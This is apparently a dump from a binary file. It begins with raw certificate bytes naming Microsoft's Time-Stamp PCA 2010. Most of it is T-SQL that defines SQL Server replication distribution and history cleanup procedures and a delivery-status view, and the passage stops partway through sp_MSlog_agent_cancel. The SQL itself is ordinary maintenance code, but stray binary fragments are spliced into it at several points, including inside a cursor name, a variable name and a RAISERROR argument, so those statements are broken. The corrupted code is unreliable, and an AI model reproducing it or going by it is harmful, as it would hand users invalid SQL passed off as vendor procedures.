P5	'ճ~56_tI00
a0
0
	*H
0|10	UUS10U
Washington10URedmond10U
Microsoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100
120109213528Z
130409214528Z010	UUS10U
Washington10URedmond10U
Microsoft Corporation1
0UMOPR1'0%UnCipher DSE ESN:F528-3777-8A761%0#UMicrosoft Time-Stamp Service0"0
	*H
0
qx'ݍr:f4Фk36[.aaz}XhbECfs%4' o?rt4|ka}	򙂏Ww)!x*{햙]¦[Ny"ݚOlugw&ޤil$O1-8&MW(	~AlYM A?`b3hn4/	zp̀&ӹ.\,~d
h~c00U>]-dʫp^"1t0U#0c:\1C{|F3hZmU0VUO0M0KIGEhttp://crl.microsoft.com/pki/crl/products/MicTimStaPCA_2010-07-01.crl0Z+N0L0J+0>http://www.microsoft.com/pki/certs/MicTimStaPCA_2010-07-01.crt0U00U%0
+0
	*H
С)ymL"8|JANL_Ml6JR+1	KvXMW,:F'Pik{hhRrGm(x/ZNKʬj@ǂ,81y^
M,ՕIˮcJ/JT	lkp9urM'|P֐uqXx"Ld3>fty0a0㡁010	UUS10U
Washington10URedmond10U
Microsoft Corporation1
0UMOPR1'0%UnCipher DSE ESN:F528-3777-8A761%0#UMicrosoft Time-Stamp Service%
0	+`\ڒA$"I<0010	UUS10U
Washington10URedmond10U
Microsoft Corporation1
0UMOPR1'0%UnCipher NTS ESN:B027-C6F8-1D881+0)U"Microsoft Time Source Master Clock0
	*H
+I0"20121019122129Z20121020122129Z0w0=
+Y
1/0-0
+I0
 00
-06
+Y
1(0&0
+Y

0`
0 0
	*H
uKUEʮZ!@>7d
i `I $rV:nR׊2f`05V3cY^vt"ԭ:}-iwFC)E`,RbLiws\n&PDž	6 6l"~$p;["[H,r|=Tt*܅H5*L)eMC52wAvO
&r8#
k%~tJ*>:Xt[|S^&:࢓}q,h1000|10	UUS10U
Washington10URedmond10U
Microsoft Corporation1&0$UMicrosoft Time-Stamp PCA 2010
a0
0
	`He)0	*H
	1
*H
	0/	*H
	1" c	m2o?Dcyr+rT2D20*H
	1000`\ڒA$"I<00~0|10	UUS10U
Washington10URedmond10U
Microsoft Corporation1&0$UMicrosoft Time-Stamp PCA 2010
a0
0z*:\,S$>960
	*H
,1pUx0\YIL,x^|E`S"u=pX3R%|䄭D>;qXZxr@d/.r<IbvMekbʔ
95m`d&]MD%YcjOyr&e1?,hZgBBLjs%h}lqU/LVׂl5L+ܣֆ</9I7Pʇ5}ldjPS^;L#]h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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(DVMkVvZte_dodelete @publisher_database_id, 
										@max_xact_seqno, 
										@last_xact_seqno, 
										@last_log_xact_seqno,
										@has_immediate_sync


        select @row_count = @@rowcount

        -- Update output parameter
        select @num_transactions = @num_transactions + @row_count
        if @row_count < 5000
            BREAK
    END

')
    if @@error <> 0 return 1
    exec('
--
-- Name: sp_MSmaximum_cleanup_seqno
--
-- Descriptions: 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: Not public (db owner chaining)
--
raiserror(15339,-1,-1,''sp_MSmaximum_cleanup_seqno'')

')
    if @@error <> 0 return 1
    exec('CREATE PROCEDURE sp_MSmaximum_cleanup_seqno
	@publisher_database_id int,
	@min_cutoff_time datetime,
	@max_cleanup_xact_seqno varbinary(16) OUTPUT
	as

	declare @min_agent_sub_xact_seqno varbinary(16)
				,@max_agent_hist_xact_seqno varbinary(16)
				,@active int
				,@initiated int
				,@agent_id int
				,@min_xact_seqno varbinary(16)
                

	-- set @min_xact_seqno to NULL and reset it with the first prospect of min_seqno we found later
	select @min_xact_seqno = NULL

	set nocount on

	select @active = 2
	select @initiated = 3

	--
	-- cursor through each agent with it''s smallest sub xact seqno
	--
	declare #tmpAgentSubSeqno cursor local forward_only  for
	select a.id, min(s2.subscription_seqno) from
                        MSsubscriptions s2 
                        join MSdistribution_agents a
                        on (a.id = s2.agent_id) 
                        where
	                        s2.status in( @active, @initiated ) and
	                        /* Note must filter out virtual anonymous agents !!!
                                      a.subscriber_id <> @virtual_anonymous and */
                            -- filter out subscriptions to immediate_sync publications
                            not exists (select * from MSpublications p where
                                        s2.publication_id = p.publication_id and
                                        p.immediate_sync = 1) and
	                        a.publisher_database_id = @publisher_database_id
	                        group by a.id
	open #tmpAgentSubSeqno 
	fetch #tmpAgentSubSeqno into @agent_id, @min_agent_sub_xact_seqno 
	
    if (@@fetch_status = -1) -- rowcount = 0 (no subscriptions)
    begin
        -- If we have a publication which allows for init from backup with a min_autonosync_lsn set
        --   we don''t want this proc to signal cleanup of all commands
        -- Note that if we filter out immediate_sync publications here as they will already have the
        --   desired outcome.  The difference is that those with min_autonosync_lsn set have a watermark
        --   at which to begin blocking cleanup.
		if not exists (select * from dbo.MSpublications msp
                join MSpublisher_databases mspd ON mspd.publisher_id = msp.publisher_id 
                    and mspd.publisher_db = msp.publisher_db
                where mspd.id = @publisher_database_id and msp.immediate_sync = 1)
		begin
            select top(1) @min_xact_seqno = msp.min_autonosync_lsn from dbo.MSpublications msp
                    join MSpublisher_databases mspd ON mspd.publisher_id = msp.publisher_id 
                        and mspd.publisher_db = msp.publisher_db
                    where mspd.id = @publisher_database_id 
                        and msp.allow_initialize_from_backup <> 0
                        and msp.min_autonosync_lsn is not null
                        and msp.immediate_sync = 0
					order by msp.min_autonosync_lsn asc
		end
    end
    
    while (@@fetch_status <> -1)
	begin
	    --
	    --always clear the local variable, next query may not return any resultset
	    --
	    set @max_agent_hist_xact_seqno = NULL

	    --
	    --find last history entry for current agent, if no history then the query below should leave @max_agent_xact_seqno as NULL
	    --
	    select top 1 @max_agent_hist_xact_seqno = xact_seqno from MSdistribution_history where agent_id = @agent_id 
	             order by timestamp desc

	    --
	    --now find the last xact_seqno this agent has delivered:
	    --if last history was written after initsync, use histry xact_seqno otherwise use initsync xact_seqno        
	    --
	    if isnull(@max_agent_hist_xact_seqno, @min_agent_sub_xact_seqno) <= @min_agent_sub_xact_seqno 
	    begin
	         set @max_agent_hist_xact_seqno = @min_agent_sub_xact_seqno
	    end
	    --@min_xact_seqno was set to NULL to start with, the first time we get here, it''ll gets set to a non-NULL value
	    --then we graduately move to the smallest hist/sub seqno
	    if ((@min_xact_seqno is null) or (@min_xact_seqno > @max_agent_hist_xact_seqno))
	    begin 
	        set @min_xact_seqno = @max_agent_hist_xact_seqno 
	    end
	    fetch #tmpAgentSubSeqno into @agent_id, @min_agent_sub_xact_seqno 
	end
	close #tmpAgentSubSeqno
	deallocate #tmpAgentSubSeqno

	/* 
	** Optimized query to get the maximum cleanup xact_seqno
	*/
	/* 
	** If the query below returns nothing, nothing can be deleted.
	** Reset @max_cleanup_xact_seqno to 0.
	*/
	select @max_cleanup_xact_seqno = 0x00
	-- Use top 1 to avoid warning message of "Null in aggregate..." which will make
	-- sqlserver agent job having failing status

	select top 1 @max_cleanup_xact_seqno = xact_seqno
	    from MSrepl_transactions with (nolock)
	    where
	        publisher_database_id = @publisher_database_id and
	        (xact_seqno < @min_xact_seqno
	        	or @min_xact_seqno IS NULL) and
	        entry_time <= @min_cutoff_time
	        order by xact_seqno desc

')
    if @@error <> 0 return 1
    exec('
--
-- Name: sp_MSdistribution_delete
--
-- Descriptions: 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: Not public (db owner chaining)
--
raiserror(15339,-1,-1,''sp_MSdistribution_delete'')

')
    if @@error <> 0 return 1
    exec('CREATE PROCEDURE sp_MSdistribution_delete
    @retention int = 0,
	-- Used for anon publications.
	@max_cutoff_time datetime
    as
    declare @min_cutoff_time datetime
    declare @subscriber sysname
    declare @subscriber_db sysname
    declare @max_cleanup_xact_seqno varbinary(16)   
    declare @num_transactions int
    declare @num_commands int
    declare @start_time datetime
    declare @num_seconds int
    declare @rate int
    declare @retcode int
    declare @publisher_database_id int

    set nocount on

    select @num_transactions = 0
    select @num_commands = 0

    select @start_time = getdate()
    select @min_cutoff_time = dateadd(hour, -@retention, getdate())

    -- For each publisher/publisherdb pair do cleanup
    declare hC CURSOR LOCAL FAST_FORWARD FOR select distinct publisher_database_id
        from MSrepl_transactions
        for read only
    -- With ANSI Defaults ON, the cursor will automatically
    -- be closed on commit.   Since this proc gets called recursively, 
    -- this can happen.  So check before opening. 
    IF CURSOR_STATUS(''local'',''hC'') = -1
    open hC

    fetch hC into @publisher_database_id 
    while (@@fetch_status <> -1)
    begin

        -- Find the maximum transaction to delete
        exec @retcode = dbo.sp_MSmaximum_cleanup_seqno @publisher_database_id, @min_cutoff_time, @max_cleanup_xact_seqno OUTPUT
        if @retcode <> 0
            goto FAIL           

        -- Delete transactions and commands
        exec @retcode = dbo.sp_MSdelete_publisherdb_trans @publisher_database_id, 
			@max_cleanup_xact_seqno, @max_cutoff_time,
            @num_transactions OUTPUT, @num_commands OUTPUT
        if @retcode <> 0
            goto FAIL

        IF CURSOR_STATUS(''local'',''hC!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(EVMBvZt'') = -1
            open hC
        
        fetch hC into @publisher_database_id 
    end
    close hC
    deallocate hC

    select @num_seconds = datediff(second, @start_time, getdate())
    if @num_seconds <> 0 
      select @rate = (@num_transactions+@num_commands)/@num_seconds
    else
      select @rate = 0
	-- raise more frequently (ie 2k rows or so)
	-- modify sp_MSdelete_publisherdb_trans (line 3500)
	-- snapshot history? job history?
	-- TODO TODO TODO
   RAISERROR(21010, 10, -1, @num_transactions, @num_commands, @num_seconds, @rate)

   return 0

FAIL:
   close hC
   deallocate hC
   return 1

')
    if @@error <> 0 return 1
    exec('
--
-- Name: sp_MSdistribution_cleanup
--
-- Descriptions: 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: Not public (db owner chaining)
--
raiserror(15339,-1,-1,''sp_MSdistribution_cleanup'')

')
    if @@error <> 0 return 1
    exec('CREATE PROCEDURE sp_MSdistribution_cleanup
    @min_distretention int = 0,
    @max_distretention int = 24,
    @no_applock bit = 0
as
	SET DEADLOCK_PRIORITY LOW 
    declare @retcode int
    declare @agent_name nvarchar(255)
    declare @agent_type nvarchar(100)
    declare @message nvarchar(255)
	declare @cutoff_time datetime

     -- Check for invalid parameter values 
    if @min_distretention < 0 or @max_distretention < 0
    begin
        RAISERROR(14106, 16, -1)
        return (1)
    end

    declare @lockresource nvarchar(255),
            @acquiredapplicationlock bit

    -- 1) Acquire no-sync subscription setup lock up-front to prevent
    -- the cleanup task from interfering any no-sync subscription setup 
    -- task that may be in progress.
    
    -- WARNING: Before calling sp_MSdistribution_cleanup from another
    -- stored procedure or replication agent with @no_applock = 0,
    -- consider that the application lock acquired by 
    -- sp_MSdistribution_cleanup is owned by the current session and it may
    -- not be released properly by the time sp_MSdistribution_cleanup exits
    -- if the batch is aborted. It is ok for the distribution cleanup 
    -- job to call this procedure directly because SQLServerAgent makes a new
    -- connection every time a job runs.
    
    select @acquiredapplicationlock = 0

    if @no_applock = 0
    begin
        select @lockresource = db_name() + N''_nosync''
        exec @retcode = sys.sp_getapplock @Resource = @lockresource,
                                          @LockMode = ''Shared'',
                                          @LockOwner = ''Session'',
                                          @LockTimeout = -1,
                                          @DbPrincipal = ''db_owner'' 
        -- No timeout! No-sync setup process should never take long and the 
        -- Transaction-owned lock acquired by the no-sync setup process has 
        -- to be released in the event of a catastrophic failure.  

        if @retcode < 0 or @@error <> 0 begin select @retcode = 1 goto FAIL end
        select @retcode = 0, @acquiredapplicationlock = 1
    end

	-- Update statistics on tables with norecompute flag
    -- to both update the statistics periodically and 
    -- to ensure that they are not updated too frequently
    -- since this slows performance.
    --
    -- Update statistics can only be performed when not in
    -- a transaction so predicate by transaction level check
    -- to avoid error.
    --
    if @@trancount = 0
    begin
        UPDATE STATISTICS MSrepl_commands WITH NORECOMPUTE
        UPDATE STATISTICS MSrepl_transactions WITH NORECOMPUTE
    end

	-- Note: we need to use the same cut_off time for sp_MSsubscription_cleanup
	-- and sp_MSdistribution_delete since sp_MSsubscription_cleanup need to disable
	-- all the dist agents that are lag behind (their pending trans will be removed)
    select @cutoff_time = dateadd(hour, -@max_distretention, getdate())

    -- Deactive any subscriptions which have been inactive beyond the maximum retention
    exec @retcode = dbo.sp_MSsubscription_cleanup @cutoff_time
    if @retcode <> 0
        goto FAIL
 
    -- Remove transactions and commands
    exec @retcode = dbo.sp_MSdistribution_delete @min_distretention, 
		-- used to cleanup trans for anon publications.
		@cutoff_time
    if @retcode <> 0
        goto FAIL

    -- Update statistics on cleaned tables with norecompute flag
    -- to both update the statistics periodically and 
    -- to ensure that they are not updated too frequently
    -- since this slows performance.
    --
    -- Update statistics can only be performed when not in
    -- a transaction so predicate by transaction level check
    -- to avoid error.
    --
    if @@trancount = 0
    begin
        UPDATE STATISTICS MSrepl_commands WITH NORECOMPUTE
        UPDATE STATISTICS MSrepl_transactions WITH NORECOMPUTE
    end

    if @acquiredapplicationlock = 1
    begin
        exec sys.sp_releaseapplock @Resource = @lockresource,
                                   @LockOwner = ''Session'',
                                   @DbPrincipal = N''db_owner''
    end
    select @acquiredapplicationlock = 0
    return(0)

FAIL:
    if @acquiredapplicationlock = 1
    begin
        exec sys.sp_releaseapplock @Resource = @lockresource,
                                   @LockOwner = ''Session'',
                                   @DbPrincipal = N''db_owner''
    end
    -- Raise the Agent Failure error
    set @agent_type  = formatmessage(20543)
    SELECT @agent_name = db_name() + @agent_type
    set @message  = formatmessage(20552)
    exec sys.sp_MSrepl_raiserror @agent_type, @agent_name, 5, @message
    return (1)  


')
    if @@error <> 0 return 1
    exec('
--
-- Name: sp_MShistory_cleanup
--
-- Descriptions: 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: Not public (db owner chaining)
--
raiserror(15339,-1,-1,''sp_MShistory_cleanup'')

')
    if @@error <> 0 return 1
    exec('CREATE PROCEDURE sp_MShistory_cleanup
(
	@history_retention int = 24
)
AS
BEGIN
    DECLARE @cutoff_time datetime
				,@replerr_cutoff datetime
				,@start_time datetime
				,@num_snapshot_rows int
				,@num_logreader_rows int
				,@num_distribution_rows int
				,@num_replerror_rows int
				,@num_queuereader_rows int
				,@num_alert_rows int
				,@num_tracer_record_rows int
				,@num_milliseconds int
				,@num_seconds float
				,@seconds_str nvarchar(10)
				,@rate int
				,@retcode int
				,@total_rows int
				,@num_merge_rows int
				,@num_merge_deleted_articlehistory int
				,@agent_name nvarchar(255)
				,@agent_type nvarchar(100)
				,@message nvarchar(255)
				,@agent_id int
				,@error int

    SET NOCOUNT ON

    -- Check for invalid parameter values
    IF @history_retention < 0
    BEGIN
        RAISERROR(14106, 16, -1)
        RETURN 1
    END
    
    -- Get start time for statistics at the end
	-- Get cutoff time
	-- cleanup MSrepl_error with HistoryRetention+30 days
    SELECT @start_time							= getdate(),
			@num_snapshot_rows					= 0,
			@num_logreader_rows					= 0,
			@num_distribution_rows				= 0,
			@num_merge_rows						= 0,
			@num_replerror_rows					= 0,
			@num_queuereader_rows				= 0,
			@num_merge_deleted_articlehistory	= 0,
			@cutoff_time						= dateadd(hour, -@history_retention, getdate()),
			@replerr_cutoff						= dateadd(hour, -@history_retention - 30*24, getdate())
	
	DECLARE #crSnapshotAgents CURSOR LOCAL FAST_FORWARD FOR
		SELECT id
			FROM MSsnapshot_agents
	
	OPEN #crSnapshotAgents
	
	FETCH #crSnapshotAgents INTO @agent_id
	WHILE @@FETCH_STATUS <> -1
	BEGIN
	 
		-- Delete sp_MSsnapshot_history (leave at least one row for monitoring)
		DELETE MSsnapshot_history 
			WHERE agent_id = @agent_i!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(FVMIvZtd
				AND time <= @cutoff_time 
				AND timestamp not in (SELECT max(timestamp) 
										FROM MSsnapshot_history 
										WHERE agent_id = @agent_id)
			OPTION(MAXDOP 1)

		SELECT @error = @@error, @num_snapshot_rows = @num_snapshot_rows + @@rowcount
		IF @error <> 0
			GOTO FAILURE

		FETCH #crSnapshotAgents INTO @agent_id
	END

	CLOSE #crSnapshotAgents
	DEALLOCATE #crSnapshotAgents

    -- Delete sp_MSsnapshot_history that no longer has an MSsnapshot_agent entry
    DELETE FROM MSsnapshot_history 
		WHERE NOT EXISTS (SELECT * 
							FROM MSsnapshot_agents
							WHERE id = agent_id)
		OPTION(MAXDOP 1)
    SELECT @error = @@error, @num_snapshot_rows = @num_snapshot_rows + @@rowcount
	IF @error <> 0
		GOTO FAILURE

    -- Delete sp_MSlogreader_history (leave at least one row for monitoring)
	DECLARE #crLogreaderAgents CURSOR LOCAL FAST_FORWARD FOR
		SELECT id
			FROM MSlogreader_agents
	
	OPEN #crLogreaderAgents
	
	FETCH #crLogreaderAgents INTO @agent_id
	WHILE @@FETCH_STATUS <> -1
	BEGIN
	 
		-- Delete sp_MSsnapshot_history (leave at least one row for monitoring)
		DELETE MSlogreader_history 
			WHERE agent_id = @agent_id
				AND time <= @cutoff_time 
				AND timestamp not in (SELECT max(timestamp) 
										FROM MSlogreader_history 
										WHERE agent_id = @agent_id)
			OPTION(MAXDOP 1)
		SELECT @error = @@error, @num_logreader_rows = @num_logreader_rows + @@rowcount
		IF @error <> 0
			GOTO FAILURE

		FETCH #crLogreaderAgents INTO @agent_id
	END

	CLOSE #crLogreaderAgents
	DEALLOCATE #crLogreaderAgents

    -- Delete sp_MSlogreader_history that no longer has an MSlogreader_agent entry
	DELETE FROM MSlogreader_history 
		WHERE NOT EXISTS (SELECT * 
							FROM MSlogreader_agents
							WHERE id = agent_id)
		OPTION(MAXDOP 1)
    SELECT @error = @@error, @num_logreader_rows = @num_logreader_rows + @@rowcount
	IF @error <> 0
		GOTO FAILURE

    -- Delete sp_MSdistribution_history (leave at least one row for monitoring)
	DECLARE #crDistribAgents CURSOR LOCAL FAST_FORWARD FOR
		SELECT id
			FROM MSdistribution_agents
	
	OPEN #crDistribAgents
	
	FETCH #crDistribAgents INTO @agent_id
	WHILE @@FETCH_STATUS <> -1
	BEGIN
	 
		-- Delete sp_MSsnapshot_history (leave at least one row for monitoring)
		DELETE MSdistribution_history 
			WHERE agent_id = @agent_id
				AND time <= @cutoff_time 
				AND timestamp not in (SELECT max(timestamp) 
										FROM MSdistribution_history 
										WHERE agent_id = @agent_id)
			OPTION(MAXDOP 1)
		SELECT @error = @@error, @num_distribution_rows = @num_distribution_rows + @@rowcount
		IF @error <> 0
			GOTO FAILURE

		FETCH #crDistribAgents INTO @agent_id
	END

	CLOSE #crDistribAgents
	DEALLOCATE #crDistribAgents

    -- Delete sp_MSlogreader_history that no longer has an MSlogreader_agent entry
	DELETE FROM MSdistribution_history 
		WHERE NOT EXISTS (SELECT * 
							FROM MSdistribution_agents
							WHERE id = agent_id)
		OPTION(MAXDOP 1)
    SELECT @error = @@error, @num_distribution_rows = @num_distribution_rows + @@rowcount
	IF @error <> 0
		GOTO FAILURE

    -- Delete MSqreader_history (leave at least one row for monitoring)
	DECLARE #crQreaderAgents CURSOR LOCAL FAST_FORWARD FOR
		SELECT id
			FROM MSqreader_agents
	
	OPEN #crQreaderAgents
	
	FETCH #crQreaderAgents INTO @agent_id
	WHILE @@FETCH_STATUS <> -1
	BEGIN
	 
		-- Delete sp_MSsnapshot_history (leave at least one row for monitoring)
		DELETE MSqreader_history 
			WHERE agent_id = @agent_id
				AND time <= @cutoff_time 
				AND timestamp not in (SELECT max(timestamp) 
										FROM MSqreader_history 
										WHERE agent_id = @agent_id)
			OPTION(MAXDOP 1)
		SELECT @error = @@error, @num_queuereader_rows = @num_queuereader_rows + @@rowcount
		IF @error <> 0
			GOTO FAILURE

		FETCH #crQreaderAgents INTO @agent_id
	END

	CLOSE #crQreaderAgents
	DEALLOCATE #crQreaderAgents

    -- Delete sp_MSlogreader_history that no longer has an MSlogreader_agent entry
	DELETE FROM MSqreader_history 
		WHERE NOT EXISTS (SELECT * 
							FROM MSqreader_agents
							WHERE id = agent_id)
		OPTION(MAXDOP 1)
    SELECT @error = @@error, @num_queuereader_rows = @num_queuereader_rows + @@rowcount
	IF @error <> 0
		GOTO FAILURE

    -- Delete sp_MSmerge_history (leave at least one row for monitoring)
    -- Leave last record ONLY if the agent is not anonymous.  The current logic is to remove all history for anonymous
    -- subscription, the agent definition will also be removed below.
    -- use session id
    DELETE dbo.MSmerge_history
		FROM dbo.MSmerge_history msmh
			JOIN dbo.MSmerge_sessions msms 
				ON msmh.session_id = msms.session_id
		WHERE msms.end_time <= @cutoff_time
		OPTION(MAXDOP 1)
    SELECT @error = @@error, @num_merge_rows = @num_merge_rows + @@rowcount
    IF @error <> 0
		GOTO FAILURE

    -- Delete sp_MSmerge_history that no longer has an MSmerge_agent entry
    DELETE FROM dbo.MSmerge_history 
		WHERE NOT EXISTS (SELECT * 
							FROM dbo.MSmerge_agents 
							WHERE id = agent_id)
		OPTION(MAXDOP 1)
    SELECT @error = @@error, @num_merge_rows = @num_merge_rows + @@rowcount
    IF @error <> 0
		GOTO FAILURE

    -- Delete MSrepl_error entries
    DELETE FROM MSrepl_errors 
		WHERE time <= @replerr_cutoff 
		OPTION(MAXDOP 1)
    SELECT @error = @@error, @num_replerror_rows = @@rowcount
    IF @error <> 0
		GOTO FAILURE

	-- similiar to above time based cleanup, we need to clean up added tables
	DELETE dbo.MSmerge_articlehistory
		FROM dbo.MSmerge_articlehistory msmah 
			JOIN dbo.MSmerge_sessions msms
				ON msmah.session_id = msms.session_id
		WHERE msms.end_time <= @cutoff_time
		OPTION(MAXDOP 1)
	SELECT @error = @@error, @num_merge_deleted_articlehistory = @num_merge_deleted_articlehistory + @@rowcount
    IF @error <> 0
		GOTO FAILURE
        
    DELETE FROM dbo.MSmerge_sessions 
		WHERE end_time <= @cutoff_time
			AND session_id NOT IN (SELECT max(session_id) 
									from dbo.MSmerge_sessions 
									group by agent_id)
		OPTION(MAXDOP 1)
    SELECT @error = @@error, @num_merge_rows = @num_merge_rows + @@rowcount
    IF @error <> 0
		GOTO FAILURE
        
    -- Delete MSmerge_sessions that no longer has an MSmerge_agent entry
    DELETE FROM dbo.MSmerge_sessions 
		WHERE NOT EXISTS (SELECT * 
							FROM dbo.MSmerge_agents 
							WHERE id = agent_id)
		OPTION(MAXDOP 1)
    SELECT @error = @@error, @num_merge_rows = @num_merge_rows + @@rowcount
    IF @error <> 0
		GOTO FAILURE
		
	-- Delete sysreplicationalerts table
    DELETE FROM msdb.dbo.sysreplicationalerts 
		WHERE time <= @cutoff_time 
		OPTION(MAXDOP 1)
    SELECT @error = @@error, @num_alert_rows = @@rowcount
    IF @error <> 0
		GOTO FAILURE

	-- Delete Tracer Record history rows
	EXEC @error = sys.sp_MSdelete_tracer_history @cutoff_date = @cutoff_time, @num_records_removed = @num_tracer_record_rows output
	IF @error <> 0
        GOTO FAILURE

    -- Calculate statistics for number of rows deleted
    SELECT @num_milliseconds = datediff(millisecond, @start_time, getdate())
    IF @num_milliseconds <> 0
        SELECT @num_seconds = @num_milliseconds*1.0/1000
    ELSE
        SELECT @num_seconds = 0

    SELECT @total_rows = @num_merge_rows + 
    						@num_merge_deleted_articlehistory +
    						@num_snapshot_rows + 
							@num_logreader_rows + 
							@num_distribution_rows +  
							@num_queuereader_rows +
							@num_replerror_rows + 
							@num_alert_rows + 
							@num_tracer_record_rows

    IF @num_seconds <> 0 
        SELECT @rate = @total_rows/@num_seconds
    ELSE
        SELECT @rate = @total_rows

    SELECT @seconds_str = CONVERT(nchar(10), @num_seconds)

    RAISERROR(14108, 10, -1, @num_merge_rows, ''MSmerge_history'')
	RAISERROR(14108, 10, -1, @num_merge_deleted_articlehistory, ''MSmerge_articlehistory'')
	RAISERROR(14108, 10, -1, @num_snapshot_rows, !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(GVM!,9vZt''MSsnapshot_history'')
    RAISERROR(14108, 10, -1, @num_logreader_rows, ''MSlogreader_history'')
    RAISERROR(14108, 10, -1, @num_distribution_rows, ''MSdistribution_history'')
    RAISERROR(14108, 10, -1, @num_queuereader_rows, ''MSqreader_history'')
    RAISERROR(14108, 10, -1, @num_replerror_rows, ''MSrepl_errors'')
    RAISERROR(14108, 10, -1, @num_alert_rows, ''sysreplicationalerts'')
    RAISERROR(14108, 10, -1, @num_tracer_record_rows, ''MStracer_tokens'')
	RAISERROR(14149, 10, -1, @total_rows, @seconds_str, @rate)
    
    RETURN 0
FAILURE:
    -- Raise the Agent Failure error
    SELECT @agent_type  = formatmessage(20544),
			@agent_name = db_name() + @agent_type,
			@message	= formatmessage(20553)

    EXEC sys.sp_MSrepl_raiserror @agent_type, @agent_name, 5, @message

    RETURN 1
END

')
    if @@error <> 0 return 1
    exec('--
-- Name: sp_MSget_repl_version
--
-- Descriptions: 
-- BUGBUG: Obsolete SP ???
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: Not public (db owner chaining)
--
raiserror(15339,-1,-1,''sp_MSget_repl_version'')

')
    if @@error <> 0 return 1
    exec('CREATE PROCEDURE sp_MSget_repl_version
@major_version int = 0 OUTPUT,
@minor_version int = 0 OUTPUT,
@revision int = 0 OUTPUT

as
SELECT @major_version = major_version,
       @minor_version = minor_version,
       @revision = revision FROM MSrepl_version

')
    if @@error <> 0 return 1
    exec('
-- View for delivered and undelivered commands.   RHS  6-4-98
-- Since the view is likely to change, just recreate it each time.
IF EXISTS (SELECT * FROM sys.objects where name=''MSdistribution_status'' and type=''V'')
    DROP VIEW dbo.MSdistribution_status

/****************************************************************************/
raiserror(''Creating view MSdistribution_status'', 0,1)
/****************************************************************************/    

')
    if @@error <> 0 return 1
    exec('
CREATE VIEW MSdistribution_status (article_id,agent_id,UndelivCmdsInDistDB,DelivCmdsInDistDB)
as
-- Note that this view does not account for (i.e. exclude from counts) commands that do not need to be delivered 
-- because of loopback or syncronous updating subscribers, nor subscriptions never activated.
-- It also may not be exact due to use of NOLOCK - so that it does not cause blocking or deadlock issues.
SELECT t.article_id,s.agent_id,
''UndelivCmdsInDistDB''=SUM(CASE WHEN xact_seqno > h.maxseq THEN 1 ELSE 0 END),
''DelivCmdsInDistDB''=SUM(CASE WHEN xact_seqno <=  h.maxseq THEN 1 ELSE 0 END)
FROM	(SELECT	article_id,publisher_database_id, xact_seqno
	FROM MSrepl_commands with (NOLOCK) ) as t
JOIN (SELECT agent_id,article_id,publisher_database_id FROM MSsubscriptions with (NOLOCK) ) AS s 
ON (t.article_id = s.article_id AND t.publisher_database_id=s.publisher_database_id )
JOIN (SELECT agent_id,''maxseq''= isnull(max(xact_seqno),0x0) FROM MSdistribution_history with (NOLOCK) GROUP BY agent_id) as h
ON (h.agent_id=s.agent_id)
GROUP BY t.article_id,s.agent_id

')
    if @@error <> 0 return 1
    exec('    
-- As this view can add considerable overhead when queried, it intentionally is not granted public access by default.
-- A site may so grant it if it wants to of course
-- If the creator is DBO - this grant is redundant
-- GRANT SELECT ON MSdistribution_status to dbo

')
    if @@error <> 0 return 1
    exec('
--
-- Name: 
--		sp_MSlog_agent_cancel
-- 
-- Description: 
--  
-- Parameters: 
--		as specified in create
--
-- Returns: 
--		0 - succeeded
--      1 - failed
--
-- Result: 
--		None
--
-- Security: 
--		Not public - db owner chaining 
--
raiserror(15339,-1,-1,''sp_MSlog_agent_cancel'')

')
    if @@error <> 0 return 1
    exec('create procedure sp_MSlog_agent_cancel
@job_id binary(16),
@category_id int,
@message nvarchar(1024)
as
	-- This stored procedure is called by msdb proc, sp_sqlagent_log_jobhistory to
	-- log a agent cancel message to repl monitor (agent history tables) when the
	-- agent fails to log a complete message to repl monitor directly. 
	-- sp_MSdetect_nonlogged_shutdown would not help in this case, because that step
	-- will not be executed because the job is canceled before the step.
	declare @agent_id int

    if @category_id = 15
    begin
		-- Get agent_id
        select @agent_id = id from MSsnapshot_agents where job_id = @job_id
        if exists (select runstatus from MSsnapshot_history where 
            agent_id = @agent_id and
            runstatus <> 2 and 
			runstatus <> 5 and 
            runstatus <> 6 and
            timestamp = (select max(timestamp) from MSsnapshot_history where agent_id = @agent_id))
        begin
			-- Log error message.
			exec sys.sp_MSadd_snapshot_history @agent_id = @agent_id, @runstatus = 6,
					@comments = @message
        end
    end
    else if @category_id = 13
    begin
		-- Get agent_id
        select @agent_id = id from MSlogreader_agents where job_id = @job_id
        if exists (select runstatus from MSlogreader_history where 
            agent_id = @agent_id and
            runstatus <> 2 and 
			runstatus <> 5 and 
            runstatus <> 6 and
            timestamp = (select max(timestamp) from MSlogreader_history where agent_id = @agent_id))
            begin
				-- Log success message.
				exec sys.sp_MSadd_logreader_history @agent_id = @agent_id, @runstatus = 2,
						@comments = @message
            end
    end
    else if @category_id = 10
    begin
		-- Get agent_id
        select @agent_id = id from MSdistribution_agents where job_id = @job_id
        if exists (select runstatus from MSdistribution_history where 
            agent_id = @agent_id and
            runstatus <> 2 and 
			runstatus <> 5 and 
            runstatus <> 6 and
